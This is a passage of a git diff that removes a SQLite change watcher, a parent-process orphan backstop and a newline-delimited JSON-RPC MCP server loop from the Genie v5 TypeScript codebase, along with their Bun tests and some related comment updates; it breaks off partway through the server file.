inject their db-read / ppid-read so these are deterministic - * and process-free: no real reparenting, no clock racing. - */ - -import { afterEach, describe, expect, test } from 'bun:test'; -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { type Stoppable, isOrphaned, startChangeWatcher, startPpidBackstop } from './bridge-watcher.js'; - -/** Deadline-based wait for a predicate, polling cheaply. Avoids arbitrary sleeps. */ -async function waitUntil(pred: () => boolean, timeoutMs = 2000): Promise<boolean> { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - if (pred()) return true; - await new Promise((r) => setTimeout(r, 5)); - } - return pred(); -} - -const started: Stoppable[] = []; -function track<T extends Stoppable>(s: T): T { - started.push(s); - return s; -} -afterEach(() => { - for (const s of started.splice(0)) s.stop(); -}); - -// ============================================================================ -// Change watcher -// ============================================================================ - -describe('startChangeWatcher', () => { - test('fires onChange only when data_version increments', async () => { - let version = 10; - const changes: number[] = []; - track( - startChangeWatcher({ - dbPath: join(tmpdir(), 'nonexistent-dir-xyz', 'genie.db'), - readDataVersion: () => version, - onChange: (v) => changes.push(v), - pollMs: 10, - }), - ); - - // No change yet → no notification. - await new Promise((r) => setTimeout(r, 40)); - expect(changes).toEqual([]); - - // External commit bumps data_version → exactly one notification. - version = 11; - expect(await waitUntil(() => changes.length === 1)).toBe(true); - expect(changes).toEqual([11]); - - // Steady state → no repeats. - await new Promise((r) => setTimeout(r, 40)); - expect(changes).toEqual([11]); - }); - - test('null (db unavailable) never fires onChange', async () => { - const changes: number[] = []; - track( - startChangeWatcher({ - dbPath: join(tmpdir(), 'nope', 'genie.db'), - readDataVersion: () => null, - onChange: (v) => changes.push(v), - pollMs: 10, - }), - ); - await new Promise((r) => setTimeout(r, 50)); - expect(changes).toEqual([]); - }); - - test('fs-watch on the db directory wakes the poll early', async () => { - const dir = mkdtempSync(join(tmpdir(), 'genie-watch-')); - const dbPath = join(dir, 'genie.db'); - writeFileSync(dbPath, ''); - let version = 1; - const changes: number[] = []; - // Long poll interval: if the change is seen quickly, it must be the fs-watch - // wake hint firing, not the (500ms) interval. - track( - startChangeWatcher({ - dbPath, - readDataVersion: () => version, - onChange: (v) => changes.push(v), - pollMs: 500, - }), - ); - version = 2; - writeFileSync(join(dir, 'genie.db-wal'), 'x'); // touch a sibling → dir event - const seen = await waitUntil(() => changes.length === 1, 300); // < pollMs - rmSync(dir, { recursive: true, force: true }); - expect(seen).toBe(true); - expect(changes).toEqual([2]); - }); - - test('stop() is idempotent and halts further notifications', async () => { - let version = 0; - const changes: number[] = []; - const w = startChangeWatcher({ - dbPath: join(tmpdir(), 'x', 'genie.db'), - readDataVersion: () => version, - onChange: (v) => changes.push(v), - pollMs: 10, - }); - w.stop(); - w.stop(); // idempotent — no throw - version = 5; - await new Promise((r) => setTimeout(r, 40)); - expect(changes).toEqual([]); - }); -}); - -// ============================================================================ -// ppid backstop -// ============================================================================ - -describe('isOrphaned', () => { - test('true when ppid changed, false when unchanged, false on the 0 sentinel', () => { - expect(isOrphaned(4321, 4321)).toBe(false); - expect(isOrphaned(4321, 9999)).toBe(true); - // Subreaper-aware: never assume reparent-to-1; and 0 (unknown) is not orphaned. - expect(isOrphaned(4321, 1)).toBe(true); - expect(isOrphaned(4321, 0)).toBe(false); - }); -}); - -describe('startPpidBackstop', () => { - test('fires onOrphaned exactly once when the parent pid changes', async () => { - let ppid = 1000; - let orphaned = 0; - track( - startPpidBackstop({ - originalPpid: 1000, - getPpid: () => ppid, - onOrphaned: () => { - orphaned++; - }, - intervalMs: 10, - }), - ); - // Parent alive → no trip. - await new Promise((r) => setTimeout(r, 40)); - expect(orphaned).toBe(0); - - // Parent changed (died + reparented) → exactly one trip, then latched. - ppid = 1; - expect(await waitUntil(() => orphaned === 1)).toBe(true); - await new Promise((r) => setTimeout(r, 40)); - expect(orphaned).toBe(1); - }); - - test('stop() halts the backstop', async () => { - let ppid = 500; - let orphaned = 0; - const b = startPpidBackstop({ - originalPpid: 500, - getPpid: () => ppid, - onOrphaned: () => { - orphaned++; - }, - intervalMs: 10, - }); - b.stop(); - ppid = 777; - await new Promise((r) => setTimeout(r, 40)); - expect(orphaned).toBe(0); - }); -}); diff --git a/src/lib/v5/bridge-watcher.ts b/src/lib/v5/bridge-watcher.ts deleted file mode 100644 index 206f89b81..000000000 --- a/src/lib/v5/bridge-watcher.ts +++ /dev/null @@ -1,139 +0,0 @@ -/** - * Genie v5 ui-bridge lifetime primitives — the in-child change watcher and the - * ppid backstop that keep the bridge daemon-free. - * - * SQLite has no cross-process notify, so the bridge polls `PRAGMA data_version` - * (which increments on any OTHER connection's commit) and uses an fs-watch on - * the db directory as a wake hint. Both concerns are pure mechanism here — the - * db read and the ppid read are injected — so they are unit-testable without - * spawning processes or racing the clock. - */ - -import { type FSWatcher, existsSync, watch } from 'node:fs'; -import { dirname } from 'node:path'; - -/** A started background loop that must be stopped for the event loop to drain. */ -export interface Stoppable { - stop(): void; -} - -// ============================================================================ -// Change watcher (PRAGMA data_version poll + fs-watch wake hint) -// ============================================================================ - -export interface ChangeWatcherOptions { - /** Absolute path to `genie.db`; its containing dir is fs-watched as a hint. */ - dbPath: string; - /** - * Read the current `PRAGMA data_version` from a dedicated read connection, or - * `null` when the db is unavailable. Injected so tests drive it deterministically. - */ - readDataVersion: () => number | null; - /** Invoked with the new data_version whenever the db changed since the last poll. */ - onChange: (dataVersion: number) => void; - /** Poll interval (design range 250–500 ms). Default 300. */ - pollMs?: number; -} - -/** - * Start watching for external db changes. Returns a handle whose `stop()` clears - * the interval and closes the fs watcher — required for the bridge to exit on - * stdin EOF. The poll is the correctness guarantee (bounded by `pollMs`); the - * fs-watch only wakes the poll early to cut latency, and is best-effort. - */ -export function startChangeWatcher(opts: ChangeWatcherOptions): Stoppable { - const pollMs = opts.pollMs ?? 300; - let last = opts.readDataVersion(); - - const poll = (): void => { - const current = opts.readDataVersion(); - if (current !== null && current !== last) { - last = current; - opts.onChange(current); - } - }; - - const interval = setInterval(poll, pollMs); - const watcher = startDirWatch(opts.dbPath, poll); - - return { - stop(): void { - clearInterval(interval); - if (watcher) { - try { - watcher.close(); - } catch { - /* already closed */ - } - } - }, - }; -} - -/** - * Watch the db's directory (catching `genie.db-wal` writes AND the `-wal` file's - * creation on the first write) and call `wake` on any event. Best-effort: a - * missing dir or an unsupported platform degrades to poll-only. - */ -function startDirWatch(dbPath: string, wake: () => void): FSWatcher | null { - try { - const dir = dirname(dbPath); - if (!existsSync(dir)) return null; - return watch(dir, () => wake()); - } catch { - return null; - } -} - -// ============================================================================ -// ppid backstop (orphan detection when stdin EOF never arrives) -// ============================================================================ - -/** - * True when the current parent pid differs from the one recorded at startup — - * i.e. the original parent died and the child was reparented. Subreaper-aware: - * it does NOT assume reparenting to pid 1, so it works under systemd/user - * subreapers too. `0` (the platform "unknown ppid" sentinel) is never treated - * as reparenting, guarding against a spurious orphan trip. - */ -export function isOrphaned(originalPpid: number, currentPpid: number): boolean { - if (currentPpid === 0) return false; - return currentPpid !== originalPpid; -} - -export interface PpidBackstopOptions { - /** The parent pid captured at bridge startup. */ - originalPpid: number; - /** Invoked once when the parent is detected to have changed. */ - onOrphaned: () => void; - /** Read the current parent pid. Injected for tests; defaults to `process.ppid`. */ - getPpid?: () => number; - /** Poll interval. Default 1000 ms. */ - intervalMs?: number; -} - -/** - * Start the orphan backstop. Complements stdin EOF: a parent that dies while - * something else holds the stdin write-end open would leave the child running, - * so this polls the parent pid and fires `onOrphaned` on change. Returns a - * handle whose `stop()` clears the interval. - */ -export function startPpidBackstop(opts: PpidBackstopOptions): Stoppable { - const getPpid = opts.getPpid ?? (() => process.ppid); - const intervalMs = opts.intervalMs ?? 1000; - let fired = false; - - const timer = setInterval(() => { - if (fired) return; - if (isOrphaned(opts.originalPpid, getPpid())) { - fired = true; - opts.onOrphaned(); - } - }, intervalMs); - - return { - stop(): void { - clearInterval(timer); - }, - }; -} diff --git a/src/lib/v5/genie-db.test.ts b/src/lib/v5/genie-db.test.ts index 7a3993d0d..946df89ec 100644 --- a/src/lib/v5/genie-db.test.ts +++ b/src/lib/v5/genie-db.test.ts @@ -440,9 +440,10 @@ describe('busy classification', () => { // index, so probing for it fleet-wide fires on healthy contended databases and // the journal-mode churn that follows crashed bun's Linux shm handling under a // live multi-process fleet. `openDb` therefore stays exactly what it was before -// the heal: open, pragma, ensure schema. The heal is scoped to the component -// that CREATES the poison — see "the REAL poison a degraded session leaves -// behind heals on the next write open" in mcp-tools.test.ts. +// the heal: open, pragma, ensure schema. The heal stays scoped to a component +// that CREATES the poison — a degraded read-only session, a shape the retired +// MCP/ui-bridge servers were the last to have; see sqlite-open.test.ts for the +// recovery helper's own contract. // // This test fails the moment the heal is re-wired into the shared primitive. // --------------------------------------------------------------------------- diff --git a/src/lib/v5/identity.ts b/src/lib/v5/identity.ts index 5a34b52aa..cb067d06d 100644 --- a/src/lib/v5/identity.ts +++ b/src/lib/v5/identity.ts @@ -2,18 +2,17 @@ * Genie v5 acting-identity resolution — the ONE place the environment is read * to answer "who is writing this card change, and from what runtime". * - * Every writer shares these resolvers: the CLI verbs in - * `src/term-commands/v5-task.ts` and the operative MCP write tools in - * `mcp-tools.ts`. They were duplicated once (the MCP copy was byte-for-byte the - * CLI's) and the chains inside the CLI itself diverged before that — the claim + * Every writer shares these resolvers. They were duplicated once — the CLI + * verbs in `src/term-commands/v5-task.ts` and the since-retired MCP write tools + * kept byte-for-byte copies — and the chains inside the CLI itself diverged + * before that: the claim * chain ignored `GENIE_AGENT_ID` and floored at 'cli' while the complete chain * preferred NAME then ID and floored at null, so a `GENIE_AGENT_ID`-only runtime * claimed as 'cli' but attributed its events to the ID. One module, one chain, * no drift. * * Pure env reads: nothing here touches `bun:sqlite` (the `EventAuthor` import is - * type-only and erased), so importing it costs the lazy-loaded MCP surface - * nothing. + * type-only and erased), so importing it costs a startup-path module nothing. */ import type { EventAuthor } from './task-state.js'; diff --git a/src/lib/v5/mcp-server.test.ts b/src/lib/v5/mcp-server.test.ts deleted file mode 100644 index 12b74555b..000000000 --- a/src/lib/v5/mcp-server.test.ts +++ /dev/null @@ -1,269 +0,0 @@ -/** - * mcp-server — shared stdio loop SEAM tests (Group 1 of wish mcp-write-tools). - * - * Drives a stub server (stub tools + injected open) as a subprocess to prove - * the two seam contracts this group owns: - * - the injected open is general — whatever handle `openDb` produces is - * validated and served (the live read-only ui-bridge plus isolated seams); - * - the opt-in per-result error channel UNWRAPS tagged results before - * serialization — the wire payload is the inner value and the envelope - * sets `isError: true`, while every untagged result keeps `isError: false` - * (an `error`-keyed payload is DATA, never an implicit error channel). - */ - -import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { isToolError, toolError, unwrapToolError } from './mcp-server.js'; - -let dir: string; -let harness: string; - -beforeEach(() => { - dir = mkdtempSync(join(tmpdir(), 'genie-mcp-server-')); - harness = join(dir, 'harness.ts'); -}); - -afterEach(() => { - rmSync(dir, { recursive: true, force: true }); -}); - -/** Write a stub server whose `tagged` tool returns toolError(payloadJson). */ -function writeHarness(payloadJson: string): void { - writeFileSync( - harness, - `import { runMcpServerLoop, toolError } from ${JSON.stringify(join(import.meta.dir, 'mcp-server.ts'))}; -const fakeDb = { - query: () => ({ get: () => ({ user_version: 1 }) }), - close: () => {}, -}; -await runMcpServerLoop({ - tools: [ - { name: 'tagged', description: 'd', inputSchema: {}, handler: () => toolError(${payloadJson}) }, - { name: 'plain', description: 'd', inputSchema: {}, handler: () => ({ error: 'not_found' }) }, - ], - openDb: () => fakeDb, - initialize: () => ({ - result: { protocolVersion: '2024-11-05', capabilities: { tools: {} }, serverInfo: { name: 't', version: '0' } }, - }), -}); -`, - ); -} - -/** - * Write a stub server whose injected open serves DEGRADED (read-only) handles - * for the first `degradedOpens` opens and a write-capable one after that — the - * "filesystem repaired mid-session" shape. The `probe` tool reports what the - * loop is currently holding. - */ -function writeDegradeHarness(degradedOpens: number): void { - writeFileSync( - harness, - `import { runMcpServerLoop } from ${JSON.stringify(join(import.meta.dir, 'mcp-server.ts'))}; -const degraded = new WeakSet(); -let opens = 0; -let closes = 0; -await runMcpServerLoop({ - tools: [ - { - name: 'probe', - description: 'd', - inputSchema: {}, - handler: (ctx) => ({ degraded: degraded.has(ctx.db), opens, closes }), - }, - ], - openDb: () => { - opens += 1; - const db = { query: () => ({ get: () => ({ user_version: 1 }) }), close: () => { closes += 1; } }; - if (opens <= ${degradedOpens}) degraded.add(db); - return db; - }, - isDegradedHandle: (db) => degraded.has(db), - initialize: () => ({ - result: { protocolVersion: '2024-11-05', capabilities: { tools: {} }, serverInfo: { name: 't', version: '0' } }, - }), -}); -`, - ); -} - -/** Null/busy promotion attempts reopen degraded read fallbacks, then promote. */ -function writeInterruptedPromotionHarness(): void { - writeFileSync( - harness, - `import { notify, runMcpServerLoop } from ${JSON.stringify(join(import.meta.dir, 'mcp-server.ts'))}; -const degraded = new WeakSet(); -const closed = []; -let writeOpens = 0; -let readonlyOpens = 0; -await runMcpServerLoop({ - tools: [{ - name: 'probe', description: 'd', inputSchema: {}, - handler: (ctx) => ({ handle: ctx.db?.id ?? null, degraded: ctx.db ? degraded.has(ctx.db) : false, writeOpens, readonlyOpens, closed: [...closed] }), - }], - openDb: () => { - writeOpens += 1; - if (writeOpens === 2 || writeOpens === 3) return null; - const id = writeOpens; - const db = { - id, - query: () => ({ get: () => ({ user_version: 1 }) }), - close: () => { closed.push(id); notify('test/closed', { id }); }, - }; - if (writeOpens === 1) degraded.add(db); - return db; - }, - openReadonlyDb: () => { - readonlyOpens += 1; - const id = readonlyOpens + 1; - const db = { - id, - query: () => ({ get: () => ({ user_version: 1 }) }), - close: () => { closed.push(id); notify('test/closed', { id }); }, - }; - degraded.add(db); - return db; - }, - isDegradedHandle: (db) => degraded.has(db), - initialize: () => ({ result: {} }), -}); -`, - ); -} - -interface RpcMessage { - id?: number | string | null; - method?: string; - params?: { id?: number }; - result?: { content?: Array<{ type: string; text: string }>; isError?: boolean; structuredContent?: unknown }; - error?: { code: number }; -} - -async function drive(requests: Record<string, unknown>[]): Promise<RpcMessage[]> { - const proc = Bun.spawn(['bun', harness], { - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1' }, - }); - proc.stdin.write(`${requests.map((r) => JSON.stringify(r)).join('\n')}\n`); - await proc.stdin.end(); - const stdout = await new Response(proc.stdout).text(); - await proc.exited; - return stdout - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcMessage); -} - -const INIT = { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 't', version: '0' } }, -}; - -function toolPayload<T>(res: RpcMessage): T { - return JSON.parse((res.result?.content as Array<{ type: string; text: string }>)[0].text) as T; -} - -describe('per-result error channel helpers', () => { - test('toolError tags a value; isToolError/unwrapToolError round-trip it', () => { - const tagged = toolError({ error: 'typed_failure', detail: 'x' }); - expect(isToolError(tagged)).toBe(true); - expect(unwrapToolError(tagged)).toEqual({ error: 'typed_failure', detail: 'x' }); - }); - - test('an error-KEYED payload is data, not a tagged error', () => { - expect(isToolError({ error: 'not_found' })).toBe(false); - expect(isToolError({ error: 'invalid_arguments', missing: ['worktree'] })).toBe(false); - expect(isToolError(null)).toBe(false); - expect(isToolError('string')).toBe(false); - }); -}); - -describe('runMcpServerLoop seam', () => { - test('a tagged handler result is unwrapped before serialization: inner payload on the wire, isError true', async () => { - writeHarness(JSON.stringify({ error: 'typed_failure', detail: 'x' })); - const responses = await drive([ - INIT, - { jsonrpc: '2.0', id: 2, method: 'tools/call', params: { name: 'tagged', arguments: {} } }, - ]); - const res = responses.find((r) => r.id === 2); - expect(res?.error).toBeUndefined(); - expect(res?.result?.isError).toBe(true); - // The wire payload is the INNER value — no tag key leaks, shapes unchanged. - expect(toolPayload<Record<string, unknown>>(res!)).toEqual({ error: 'typed_failure', detail: 'x' }); - expect(res?.result?.structuredContent).toEqual({ error: 'typed_failure', detail: 'x' }); - }); - - test('a degraded read-only handle is retried per call and promoted the moment the write open succeeds', async () => { - // Opens 1 (session start) and 2 (the first retry) are degraded; open 3 is - // write-capable — the filesystem was repaired between the two tool calls. - writeDegradeHarness(2); - const probe = (id: number) => ({ jsonrpc: '2.0', id, method: 'tools/call', params: { name: 'probe' } }); - const responses = await drive([INIT, probe(2), probe(3)]); - - // Call 1: the retry is still degraded, so the replacement keeps serving - // reads after the incumbent releases its WAL mapping. - const first = toolPayload<{ degraded: boolean; opens: number; closes: number }>(responses.find((r) => r.id === 2)!); - expect(first).toEqual({ degraded: true, opens: 2, closes: 1 }); - - // Call 2: the write open finally succeeds. The degrade never latched, and - // the handle it replaced was closed (no leak). - const second = toolPayload<{ degraded: boolean; opens: number; closes: number }>( - responses.find((r) => r.id === 3)!, - ); - expect(second).toEqual({ degraded: false, opens: 3, closes: 2 }); - }); - - test('degraded reads survive null/busy retries, then promote without leaking handles', async () => { - writeInterruptedPromotionHarness(); - const probe = (id: number) => ({ jsonrpc: '2.0', id, method: 'tools/call', params: { name: 'probe' } }); - const responses = await drive([INIT, probe(2), probe(3), probe(4)]); - type ProbePayload = { - handle: number; - degraded: boolean; - writeOpens: number; - readonlyOpens: number; - closed: number[]; - }; - - expect(toolPayload<ProbePayload>(responses.find((r) => r.id === 2)!)).toEqual({ - handle: 2, - degraded: true, - writeOpens: 2, - readonlyOpens: 1, - closed: [1], - }); - expect(toolPayload<ProbePayload>(responses.find((r) => r.id === 3)!)).toEqual({ - handle: 3, - degraded: true, - writeOpens: 3, - readonlyOpens: 2, - closed: [1, 2], - }); - expect(toolPayload<ProbePayload>(responses.find((r) => r.id === 4)!)).toEqual({ - handle: 4, - degraded: false, - writeOpens: 4, - readonlyOpens: 2, - closed: [1, 2, 3], - }); - expect(responses.filter((r) => r.method === 'test/closed').map((r) => r.params?.id)).toEqual([1, 2, 3, 4]); - }); - - test('an untagged error-keyed handler result stays isError false', async () => { - writeHarness(JSON.stringify({ error: 'typed_failure' })); - const responses = await drive([ - INIT, - { jsonrpc: '2.0', id: 2, method: 'tools/call', params: { name: 'plain', arguments: {} } }, - ]); - const res = responses.find((r) => r.id === 2); - expect(res?.error).toBeUndefined(); - expect(res?.result?.isError).toBe(false); - expect(toolPayload<Record<string, unknown>>(res!)).toEqual({ error: 'not_found' }); - }); -}); diff --git a/src/lib/v5/mcp-server.ts b/src/lib/v5/mcp-server.ts deleted file mode 100644 index 3f9b41f50..000000000 --- a/src/lib/v5/mcp-server.ts +++ /dev/null @@ -1,390 +0,0 @@ -/** - * Genie v5 shared stdio MCP server loop — the newline-delimited JSON-RPC 2.0 - * transport originally extracted from the retired MCP command. The live - * `genie ui-bridge` (read + roster writes + push) remains its supported caller. - * - * Transport: one JSON object per line on stdin/stdout — NOT LSP - * `Content-Length` framing. Speaks MCP protocol `2024-11-05`. - * - * The stdio writes (`process.stdout.write`) ARE the server's protocol output by - * design — not stray logging — so they satisfy biome's no-console rule. - * - * LAZY-LOAD contract: this module imports the read-tool types and `Database` - * TYPE-ONLY (erased at compile time), and takes the runtime `openDb` + tool - * registry via {@link McpServerConfig}. It therefore pulls NEITHER - * `bun:sqlite` NOR `mcp-tools.ts` into any static import graph — callers - * dynamic-import their heavy deps and inject them here. `mcp.test.ts`'s - * import-graph probe locks that contract. - */ - -import type { Database } from 'bun:sqlite'; -import { createInterface } from 'node:readline'; -import type { ProjectContext, ProjectDatabaseBinding } from './genie-db.js'; -import type { McpTool, ToolContext } from './mcp-tools.js'; - -// ============================================================================ -// JSON-RPC 2.0 message shapes -// ============================================================================ - -export interface JsonRpcRequest { - jsonrpc: '2.0'; - id?: number | string | null; - method: string; - params?: Record<string, unknown>; -} - -export interface JsonRpcError { - code: number; - message: string; - data?: unknown; -} - -/** MCP wire protocol version — unchanged from the original `genie mcp`. */ -export const PROTOCOL_VERSION = '2024-11-05'; - -// JSON-RPC standard error codes. -export const METHOD_NOT_FOUND = -32601; -export const INTERNAL_ERROR = -32603; - -// ============================================================================ -// Low-level writers (the protocol channel) -// ============================================================================ - -/** Newline-delimited: exactly one JSON object per line, no embedded newlines. */ -export function writeMessage(msg: object): void { - process.stdout.write(`${JSON.stringify(msg)}\n`); -} - -export function ok(id: number | string | null, result: unknown): void { - writeMessage({ jsonrpc: '2.0', id, result }); -} - -export function err(id: number | string | null, code: number, message: string): void { - writeMessage({ jsonrpc: '2.0', id, error: { code, message } }); -} - -/** Write a full JSON-RPC error object (with optional `data`). */ -export function writeError(id: number | string | null, error: JsonRpcError): void { - writeMessage({ jsonrpc: '2.0', id, error }); -} - -/** - * Emit an id-less JSON-RPC notification line. Used by the bridge's change - * watcher to push `notifications/genie/changed` out of band. Each write is a - * complete line, so it never interleaves mid-response. - */ -export function notify(method: string, params?: Record<string, unknown>): void { - writeMessage(params === undefined ? { jsonrpc: '2.0', method } : { jsonrpc: '2.0', method, params }); -} - -// ============================================================================ -// Per-result error channel (opt-in) -// ============================================================================ - -const TOOL_ERROR_TAG: unique symbol = Symbol('genie.mcp.toolError'); - -/** - * A tool-handler result tagged as an MCP `isError: true` result. The loop - * UNWRAPS the tag before serialization: `content[0].text` / `structuredContent` - * carry the inner `value` (wire shapes unchanged) and the envelope sets - * `isError: true`. Untagged handler results keep `isError: false` — an - * `error`-keyed payload (e.g. `genie_task` not-found, ui-bridge roster - * `invalid_arguments`) is DATA, never an implicit error channel. - */ -export interface ToolErrorResult<T = unknown> { - readonly [TOOL_ERROR_TAG]: T; -} - -/** Tag a handler result as a typed MCP tool error (see {@link ToolErrorResult}). */ -export function toolError<T>(value: T): ToolErrorResult<T> { - return { [TOOL_ERROR_TAG]: value } as ToolErrorResult<T>; -} - -/** True when the handler returned a tagged error result. */ -export function isToolError(result: unknown): result is ToolErrorResult { - return typeof result === 'object' && result !== null && TOOL_ERROR_TAG in result; -} - -/** The inner payload of a tagged error result — what goes on the wire. */ -export function unwrapToolError(result: ToolErrorResult): unknown { - return result[TOOL_ERROR_TAG]; -} - -// ============================================================================ -// Server configuration -// ============================================================================ - -/** The result of an `initialize` request: an MCP result, or a structured error. */ -export type InitializeOutcome = { result: unknown } | { error: JsonRpcError }; - -export interface McpServerConfig { - /** The tool registry surfaced by `tools/list` and dispatched by `tools/call`. */ - tools: McpTool[]; - /** - * DB open (net-new; returns `null` when the file is absent or cannot be - * opened). MUST NOT THROW — return `null` for every failure; the loop calls - * this outside any `try`. The live ui-bridge uses a read-only handle; injected - * test seams may use other handles. The loop itself never writes - * through the handle; read tools read and write tools mutate through it. A - * fail-closed consumer with `resolveContext` turns null into - * `project-database-unavailable`; legacy consumers may still degrade to an - * empty projection. Injected so this module never statically imports - * `bun:sqlite` / `mcp-tools`. - */ - openDb: (target: string | ProjectDatabaseBinding) => Database | null; - /** Must-not-throw readonly restore after a close-first promotion returns null/busy. */ - openReadonlyDb?: (target: string | ProjectDatabaseBinding) => Database | null; - /** - * Optional pure-read schema validator applied to whichever handle `openDb` - * produced (writable or degraded-readonly). The fail-closed MCP command - * supplies the strict per-repo Genie validator; legacy consumers may omit it. - */ - validateReadonlyDb?: (db: Database) => boolean; - /** - * Optional predicate identifying a handle `openDb` served READ-ONLY because - * its write path was impossible. When supplied, the loop re-attempts the open - * on every `tools/call` while the held handle is degraded and promotes on - * success — so a repaired filesystem restores writes without restarting the - * server, matching the per-open (never latched) derivation the write open - * itself uses. Consumers whose open is read-only by design omit it. - */ - isDegradedHandle?: (db: Database) => boolean; - /** - * OPT-IN fail-closed resolver (net-new). When provided, the loop resolves the - * project context once per `tools/call` and, on any non-`ok` kind, returns a - * typed structured error (`{ error, detail }`, `isError: true`) instead of - * dispatching the tool against an outer/cache-root empty board. Consumers that - * omit it (e.g. `genie ui-bridge`) keep the legacy cwd-based degrade-to-empty. - */ - resolveContext?: (cwd: string) => ProjectContext; - /** Build the `initialize` reply from the client's declared params. */ - initialize: (params: Record<string, unknown> | undefined) => InitializeOutcome; - /** - * Optional cleanup run once when stdin closes, BEFORE the read handle is - * closed and stdout flushed — the bridge stops its watcher + ppid backstop - * and closes its write handle here so the event loop can drain. - */ - onClose?: () => void; -} - -// ============================================================================ -// Server run loop -// ============================================================================ - -/** - * Drive the stdio MCP server until stdin closes. Opens a NET-NEW db handle via - * the injected {@link McpServerConfig.openDb} and dispatches each - * newline-delimited JSON-RPC message per {@link McpServerConfig}. With a - * project resolver, a null open fails closed. - */ -export async function runMcpServerLoop(config: McpServerConfig): Promise<void> { - const cwd = process.cwd(); - // Resolve the fail-closed context up front when a resolver is injected; only an - // `ok` context may hold a db handle. Without a resolver, keep the legacy open. - const initialContext = config.resolveContext?.(cwd); - const openValidatedWith = ( - opener: (target: string | ProjectDatabaseBinding) => Database | null, - context?: ProjectContext, - ): Database | null => { - let target: string | ProjectDatabaseBinding = cwd; - if (context !== undefined) { - if (context.kind !== 'ok' || context.databaseBinding === undefined) return null; - target = context.databaseBinding; - } - const db = opener(target); - if (db === null) return null; - try { - // Bun may construct a handle for malformed bytes and fail only on the - // first statement. Validate version + schema before any tool handler can - // see the handle. Legacy consumers retain the lightweight readability - // probe when they do not opt into a schema validator. - let valid = true; - if (config.validateReadonlyDb) valid = config.validateReadonlyDb(db); - else db.query('PRAGMA user_version').get(); - if (!valid) { - db.close(); - return null; - } - return db; - } catch { - db.close(); - return null; - } - }; - const openValidatedDb = (context?: ProjectContext): Database | null => openValidatedWith(config.openDb, context); - const openHandle = (context: ProjectContext | undefined): Database | null => openValidatedDb(context); - // Single source of truth for the db handle: the per-call reopen below writes - // back to ctx.db, and close() reads ctx.db — so a mid-session reopen is always - // the one that gets closed (no stale/leaked handle). - const ctx: ToolContext = { db: openHandle(initialContext), cwd, context: initialContext }; - const toolByName = new Map(config.tools.map((t) => [t.name, t] as const)); - - /** - * Serialize a non-`ok` project context as a stable structured MCP error. This - * is the ONE place the fail-closed server refuses to serve an empty board - * when repository context or the genie.db is missing/unsupported. - */ - function failClosed(id: number | string | null, context: ProjectContext): void { - const payload = { error: context.kind, detail: (context as { detail?: string }).detail ?? context.kind }; - ok(id, { content: [{ type: 'text', text: JSON.stringify(payload) }], structuredContent: payload, isError: true }); - } - - /** - * Swap a degraded (read-only) handle for a write-capable one as soon as the - * open can produce it. Without this, ONE transient write-open failure at - * session start would serve `read_only_database` for every write tool until - * the client restarts the server — a latched session state the write open - * deliberately does not have. A retry that is still degraded replaces the - * incumbent; a null/busy retry restores a separately opened readable handle. - */ - function promoteDegradedHandle(): void { - if (!ctx.db || !config.isDegradedHandle?.(ctx.db)) return; - const degraded = ctx.db; - // The degraded connection must release its read-only WAL mapping before a - // write open: a candidate opened beside it can pass read validation yet - // fail its first write with "database is locked". If that close-first open - // reports busy/null, immediately reopen a fallback so reads keep serving - // while a later call retries promotion. - degraded.close(); - const replacement = openValidatedDb(ctx.context); - if (replacement === null) { - ctx.db = config.openReadonlyDb ? openValidatedWith(config.openReadonlyDb, ctx.context) : null; - return; - } - ctx.db = replacement; - } - - function handleToolsCall(id: number | string | null, params: Record<string, unknown> | undefined): void { - const name = typeof params?.name === 'string' ? params.name : ''; - const args = (params?.arguments as Record<string, unknown> | undefined) ?? {}; - const tool = toolByName.get(name); - if (!tool) { - // Surface as an isError tool result (not a protocol error) per MCP. - ok(id, { - content: [{ type: 'text', text: JSON.stringify({ error: 'unknown_tool', name }) }], - isError: true, - }); - return; - } - // Fail-closed gate (opt-in). Re-resolve ONLY while not yet `ok` so a db/context - // created mid-session (e.g. a fresh `genie init`) is picked up without spending - // git probes on every call once the context is settled. Any non-`ok` state - // becomes a typed error rather than an outer/cache-root empty board. - if (config.resolveContext) { - const context = ctx.context?.kind === 'ok' ? ctx.context : config.resolveContext(cwd); - ctx.context = context; - if (context.kind !== 'ok') { - if (ctx.db) { - ctx.db.close(); - ctx.db = null; - } - failClosed(id, context); - return; - } - } - // The db may have been absent when the server started. Re-attempt the open - // per call so a db created mid-session (e.g. a fresh `genie init` or a - // bridge write) is picked up. - if (!ctx.db) ctx.db = openValidatedDb(ctx.context); - else promoteDegradedHandle(); - // Existence is not openability: a directory, malformed file, unreadable - // path, or failed open can still arrive with an `ok` path context. - // Never dispatch a fail-closed MCP tool with a null handle, because every - // tool interprets null as a healthy empty projection. - if (config.resolveContext && !ctx.db && ctx.context?.kind === 'ok') { - const unavailable: ProjectContext = { - ...ctx.context, - kind: 'project-database-unavailable', - detail: `unable to open Genie database at ${ctx.context.dbPath}`, - }; - // Preserve retry behavior: a later call re-resolves this non-ok context - // and may recover after the path is repaired. - ctx.context = unavailable; - failClosed(id, unavailable); - return; - } - // Opt-in per-result error channel: a TAGGED handler result is unwrapped - // before serialization — the wire payload is the inner value (shapes - // unchanged) and the envelope flips isError. Every untagged result keeps - // isError: false, so `error`-keyed DATA payloads stay success results. - const raw = tool.handler(ctx, args); - const tagged = isToolError(raw); - const payload = tagged ? unwrapToolError(raw) : raw; - ok(id, { - content: [{ type: 'text', text: JSON.stringify(payload) }], - structuredContent: payload, - isError: tagged, - }); - } - - function dispatch(req: JsonRpcRequest): void { - // A message with no id (or null id) is a notification: process side effects - // but send NO reply (e.g. notifications/initialized). - const isNotification = req.id === undefined || req.id === null; - const id = req.id ?? null; - - switch (req.method) { - case 'initialize': { - const outcome = config.initialize(req.params); - if ('error' in outcome) writeError(id, outcome.error); - else ok(id, outcome.result); - return; - } - case 'ping': - if (!isNotification) ok(id, {}); - return; - case 'tools/list': - if (!isNotification) { - ok(id, { - tools: config.tools.map((t) 